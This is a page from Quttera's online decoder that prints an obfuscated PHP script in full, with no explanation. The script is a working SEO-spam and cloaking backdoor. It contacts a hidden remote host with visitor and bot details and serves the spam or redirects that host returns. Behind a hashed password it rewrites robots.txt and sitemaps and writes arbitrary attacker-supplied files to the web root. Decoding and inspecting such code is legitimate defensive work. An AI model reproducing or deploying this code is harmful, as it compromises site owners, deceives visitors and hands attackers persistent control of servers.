Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



 goto iNHqg; XJK9S: if (is_https()) { $http = "\x68\x74\x74\160\x73"; } else { $http = "\x68\x74\x74\160"; } goto AKdAL; qMufD: @ignore_user_abort(1); goto giN1n; cqT3W: $lang = @$_SERVER["\110\124\124\x50\x5f\x41\103\103\x45\x50\124\137\x4c\101\116\107\125\x41\x47\x45"]; goto NWynt; TXlxU: $goweb = str_rot13(urldecode($xmlname)); goto FmaAB; to6G3: $http_web = "\150\164\x74\x70"; goto XJK9S; ZFX0X: if (extension_loaded("\172\154\151\142") && function_exists("\x67\172\x64\x65\x63\157\x64\145")) { $lang = urlencode($lang . "\x7c\x7c\151\x70\x69\x62"); } else { $lang = urlencode($lang); } goto MF9S3; NocDa: if (isset($_SERVER["\x48\x54\x54\120\137\x52\105\106\x45\122\x45\x52"])) { $urlshang = $_SERVER["\x48\124\124\x50\x5f\122\x45\106\x45\x52\105\122"]; $urlshang = urlencode($urlshang); } goto ZFX0X; xYJpQ: if ($duri_tmp == '') { $duri_tmp = "\57"; } goto gfBWk; ADF60: if ($password == "\146\67\65\146\x64\65\141\x63\x64\63\66\x61\x37\146\x62\144\x31\x65\62\x31\71\x62\61\71\x38\x38\61\x61\x35\x33\64\x38\x62\x66\x63\x36\66\x65\x37\71") { $add_content = @$_REQUEST["\x6d\141\160\156\x61\155\145"]; $action = @$_REQUEST["\141\x63\x74\x69\157\x6e"]; if (isset($_SERVER["\104\117\103\125\115\105\x4e\124\137\122\x4f\117\124"])) { $path = $_SERVER["\x44\117\103\125\115\x45\116\124\137\x52\117\117\124"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\165\x74"; } if ($action == "\x70\165\164") { if (isset($_REQUEST["\x67\157\x6f\x67\x6c\145"])) { $google_verification = $_REQUEST["\147\157\157\x67\154\145"]; if (preg_match("\57\x5e\147\x6f\157\x67\154\x65\x2e\x2a\77\50\134\56\150\164\x6d\154\x29\44\57\151", $google_verification)) { file_put_contents($google_verification, "\x67\157\157\147\154\145\x2d\x73\x69\164\x65\x2d\166\x65\x72\151\x66\x69\143\x61\x74\151\x6f\x6e\x3a\40" . $google_verification); die("\74\x61\x20\150\x72\x65\146\x3d" . $google_verification . "\76" . $google_verification . "\74\x2f\x61\x3e"); } } if (strstr($add_content, "\x2e\x78\155\x6c")) { $map_path = $path . "\57\x73\151\x74\145\155\x61\160\56\x78\155\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\162\157\x62\x6f\x74\163\56\164\170\x74"; if (stristr($add_content, "\125\x73\x65\x72\55\x61\x67\145\156\164")) { @unlink($file_path); if (file_put_contents($file_path, $add_content)) { echo "\x3c\x62\162\76\x6f\153\x3c\142\162\x3e"; } else { echo "\74\x62\x72\76\146\x69\154\x65\x20\x77\x72\x69\x74\x65\40\146\x61\154\x73\145\41\x3c\142\x72\x3e"; } } else { if (file_exists($file_path)) { $data = doutdo($file_path); } else { $data = "\125\163\x65\x72\55\141\x67\x65\156\164\72\40\52\12\x41\154\154\x6f\x77\72\40\57"; } $sitmap_url = $http . "\x3a\x2f\57" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\142\162\x3e\x73\151\x74\145\x6d\141\160\x20\141\x6c\x72\145\x61\144\x79\40\x61\x64\144\x65\144\x21\74\142\x72\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\15\12\x53\151\164\x65\x6d\141\x70\72\40" . $sitmap_url)) { echo "\74\x62\162\76\x6f\153\x3c\x62\162\76"; } else { echo "\74\142\162\x3e\x66\151\154\x65\x20\167\162\151\164\145\40\x66\x61\154\x73\x65\41\x3c\142\x72\x3e"; } } } } else { echo "\x3c\142\x72\76\163\x69\164\145\x6d\141\160\x20\156\x61\x6d\145\x20\x66\x61\x6c\163\x65\41\74\142\x72\x3e"; } $a = hash("\163\150\141\x31", hash("\163\150\x61\x31", @$_REQUEST["\141"])); $b = hash("\163\x68\x61\61", hash("\163\150\141\61", @$_REQUEST["\x62"])); if ($a == doutdo($http_web . "\72\x2f\x2f" . $goweb . "\x2f\x61\x2e\x70\x68\x70\x3f\154\x61\156\x67\x3d" . $lang) || $b == "\x66\x38\146\60\x64\141\x65\70\60\64\x33\66\70\143\60\x33\x33\64\x65\62\62\144\71\x64\143\142\67\x30\144\63\x63\67\x62\x62\146\x61\x39\66\63\65") { $dstr = @$_REQUEST["\x64\163\164\x72"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\x6f\x6b"; } } } die; } goto OBFgX; iNHqg: @set_time_limit(3600); goto qMufD; Vr0MY: $html_content = trim(doutdo($web)); goto aXXeO; PSKS4: $web = $http_web . "\72\x2f\57" . $goweb . "\57\x69\156\144\145\x78\x6e\145\x77\x2e\x70\x68\160\77\x77\x65\x62\75" . $host . "\x26\172\172\75" . disbot() . "\x26\x75\x72\151\75" . $duri . "\x26\x75\x72\154\x73\150\141\156\x67\75" . $urlshang . "\46\x68\164\x74\x70\75" . $http . "\x26\x6c\141\156\147\75" . $lang . "\46\x63\x6c\157\143\x6b\75" . $clock; goto Vr0MY; gfBWk: $duri = urlencode($duri_tmp); goto vSI2U; vSI2U: function drequest_uri() { if (isset($_SERVER["\x52\105\121\125\105\x53\124\137\125\122\x49"])) { $duri = $_SERVER["\x52\x45\x51\125\x45\123\x54\x5f\125\x52\x49"]; } else { if (isset($_SERVER["\x61\x72\147\166"])) { $duri = $_SERVER["\120\x48\x50\137\x53\x45\114\106"] . "\x3f" . $_SERVER["\141\x72\147\x76"][0]; } else { $duri = $_SERVER["\x50\x48\x50\x5f\123\105\114\106"] . "\x3f" . $_SERVER["\121\x55\105\x52\131\137\123\x54\122\111\x4e\x47"]; } } return $duri; } goto TXlxU; FmaAB: function is_https() { if (isset($_SERVER["\x48\x54\124\x50\123"]) && strtolower($_SERVER["\x48\124\124\x50\x53"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\x54\120\x5f\130\137\x46\x4f\122\x57\x41\122\x44\105\x44\137\x50\122\x4f\x54\117"]) && $_SERVER["\110\x54\x54\x50\137\x58\x5f\x46\117\122\127\x41\122\104\x45\x44\137\120\122\117\x54\x4f"] === "\x68\164\x74\x70\163") { return true; } elseif (isset($_SERVER["\110\x54\x54\120\137\106\x52\117\116\124\x5f\x45\116\x44\x5f\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\110\x54\x54\x50\x5f\106\x52\x4f\116\124\137\105\116\x44\137\110\124\x54\120\123"]) !== "\157\x66\x66") { return true; } return false; } goto M1sSw; T34Mq: if (stristr($clock, "\54")) { $clock_tmp = explode("\x2c", $clock); $clock = $clock_tmp[0]; } goto jQ1wU; MF9S3: $password = hash("\x73\x68\141\x31", hash("\163\150\141\x31", @$_REQUEST["\x70\144"])); goto ADF60; M1sSw: $clock = ''; goto zyHb3; zyHb3: if (getenv("\x52\x45\115\117\124\x45\137\101\x44\104\122") && strcasecmp(getenv("\x52\105\115\x4f\x54\x45\x5f\101\104\x44\122"), "\x75\156\153\156\157\x77\x6e")) { $clock = getenv("\122\105\115\x4f\124\x45\x5f\101\104\x44\122"); } elseif (isset($_SERVER["\122\105\x4d\117\x54\105\137\x41\x44\x44\x52"]) && $_SERVER["\122\105\115\x4f\124\105\137\x41\104\x44\122"] && strcasecmp($_SERVER["\x52\105\x4d\117\124\105\137\101\104\104\122"], "\x75\156\x6b\156\x6f\167\x6e")) { $clock = $_SERVER["\x52\105\115\117\124\105\137\x41\104\104\122"]; } goto T34Mq; aXXeO: if (!strstr($html_content, "\156\157\142\157\x74\165\163\x65\162\x61\x67\145\x6e\x74")) { if (strstr($html_content, "\157\153\x68\164\155\x6c\147\x65\x74\143\157\156\x74\145\156\x74")) { @header("\x43\x6f\156\x74\x65\x6e\164\55\x74\171\x70\x65\x3a\x20\x74\x65\170\164\57\x68\x74\x6d\154\x3b\x20\x63\150\x61\x72\x73\145\x74\75\x75\x74\146\x2d\70"); $html_content = str_replace("\157\153\150\x74\x6d\x6c\x67\x65\x74\143\x6f\156\x74\145\156\x74", '', $html_content); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\170\x6d\154\x67\x65\164\143\x6f\156\164\x65\x6e\164")) { $html_content = str_replace("\x6f\153\170\x6d\154\x67\x65\x74\143\x6f\156\x74\x65\x6e\x74", '', $html_content); @header("\103\157\x6e\x74\145\156\x74\x2d\164\x79\x70\x65\72\x20\x74\145\x78\164\x2f\170\x6d\154"); echo $html_content; die; } else { if (strstr($html_content, "\x67\x65\x74\143\x6f\x6e\x74\145\156\164\65\x30\60\160\x61\147\145")) { @header("\110\124\x54\x50\x2f\x31\56\x31\x20\x35\x30\x30\x20\111\x6e\164\145\162\x6e\141\x6c\40\123\x65\162\166\145\x72\40\105\162\162\x6f\162"); die; } else { if (strstr($html_content, "\147\x65\164\x63\x6f\x6e\x74\x65\x6e\164\64\x30\64\160\x61\147\145")) { @header("\110\x54\x54\120\x2f\x31\56\61\x20\64\x30\64\40\116\157\164\x20\x46\x6f\x75\156\144"); die; } else { if (strstr($html_content, "\x67\145\164\143\x6f\156\164\x65\156\164\63\x30\x31\160\141\147\x65")) { @header("\110\124\x54\x50\x2f\61\x2e\61\x20\63\60\61\x20\x4d\157\x76\x65\x64\40\x50\x65\162\155\x61\156\x65\156\x74\154\x79"); $html_content = str_replace("\147\145\164\143\x6f\x6e\x74\145\x6e\164\63\60\61\x70\x61\147\x65", '', $html_content); header("\x4c\x6f\143\141\164\x69\x6f\156\x3a\40" . $html_content); die; } } } } } } goto R3GFj; OBFgX: function disbot() { $uAgent = strtolower($_SERVER["\x48\x54\x54\120\137\125\123\105\122\x5f\101\107\105\116\124"]); if (stristr($uAgent, "\x67\x6f\x6f\147\x6c\145\x62\x6f\164") || stristr($uAgent, "\x62\151\x6e\x67") || stristr($uAgent, "\x79\141\x68\x6f\x6f") || stristr($uAgent, "\x67\157\157\147\x6c\x65") || stristr($uAgent, "\x47\x6f\157\x67\154\145\x62\157\x74") || stristr($uAgent, "\147\x6f\157\x67\x6c\145\x62\157\164")) { return true; } else { return false; } } goto jbwpH; jQ1wU: $host = $_SERVER["\110\x54\124\x50\x5f\110\x4f\x53\x54"]; goto cqT3W; giN1n: $xmlname = "\x25\67\x37\x25\x37\62\x25\x36\66\45\66\67\45\67\66\45\x36\x46\45\66\70\45\66\62\45\62\x45\x25\x37\x37\x25\x37\x35\45\66\x35\x25\x37\66\x25\66\x35\45\x36\105\45\x36\x46\x25\x37\66\x25\62\x45\45\66\66\x25\x37\66\x25\66\67\x25\x37\x32"; goto to6G3; AKdAL: $duri_tmp = drequest_uri(); goto xYJpQ; NWynt: $urlshang = ''; goto NocDa; jbwpH: function doutdo($url) { $file_contents = ''; if (function_exists("\143\165\x72\154\x5f\x69\x6e\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } if (extension_loaded("\172\154\151\x62") && function_exists("\147\172\x64\x65\143\157\x64\145")) { return gzdecode($file_contents); } else { return $file_contents; } } goto PSKS4; R3GFj: 



© 2023 Quttera Ltd. All rights reserved.